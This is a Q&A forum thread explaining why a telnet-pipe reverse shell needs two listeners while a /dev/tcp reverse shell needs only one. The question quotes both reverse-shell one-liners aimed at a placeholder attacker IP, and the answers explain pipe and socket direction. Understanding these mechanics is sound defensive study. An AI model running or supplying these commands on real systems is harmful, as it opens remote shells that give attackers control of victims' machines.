Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ).

telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b>

Though example below of reverse shell backdoor doesn't need two listener, it's just one required.

/bin/bash -i > dev/tcp<attacker_ip>/<port> 0<&1 2>&1

I looked for the related question but can not find out the answer exactly match what I want to know...

1 Answer 1


Pipes are "half duplex" connections: data only flows through them in one direction (from the left-hand program to the right-hand program). If you're using pipes to connect your shell to the network, you need two of them: one to handle input, and one to handle output.

Network connections, such as are provided by the /dev/tcp pseudo-filesystem in your second example, are bidirectional: data can flow in both directions. The output redirection (> /dev/tcp/<attacker_ip>/<port> creates the network and hooks the shell's standard output to the connection input. 0<&1 means "connect standard input to the same place as standard output" (the network connection), and 2>&1 means "connect error output to the same place as standard output" (the network connection, again).

  • This is true, but how can it explain that you need two listeners on port_a and port_b ? One could also use the same port for both pipes and thus the same listener for both connections.
    – Juergen
    Commented Aug 25, 2020 at 6:42
  • @Juergen, the telnet variant needs two listeners because the pipeline construct used can't loop back on itself. Instead, one of the telnet commands provides incoming data from the attacker, while the other sends outgoing data to the attacker. The /dev/tcp variant uses I/O redirection instead, so it can loop the output back into the same connection used for input.
    – Mark
    Commented Aug 25, 2020 at 20:20
  • This is true again, but it still doesn't explain that you need two listeners on port_a and port_b. You only explained that one needs two connections but not why both connections need different ports. Isn't it possible to use the same listener for two connections at the same time ?
    – Juergen
    Commented Aug 26, 2020 at 0:51
  • 1
    @Juergen, you need to use two different ports so you can tell which end of the pipe is which.
    – Mark
    Commented Aug 26, 2020 at 0:57

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .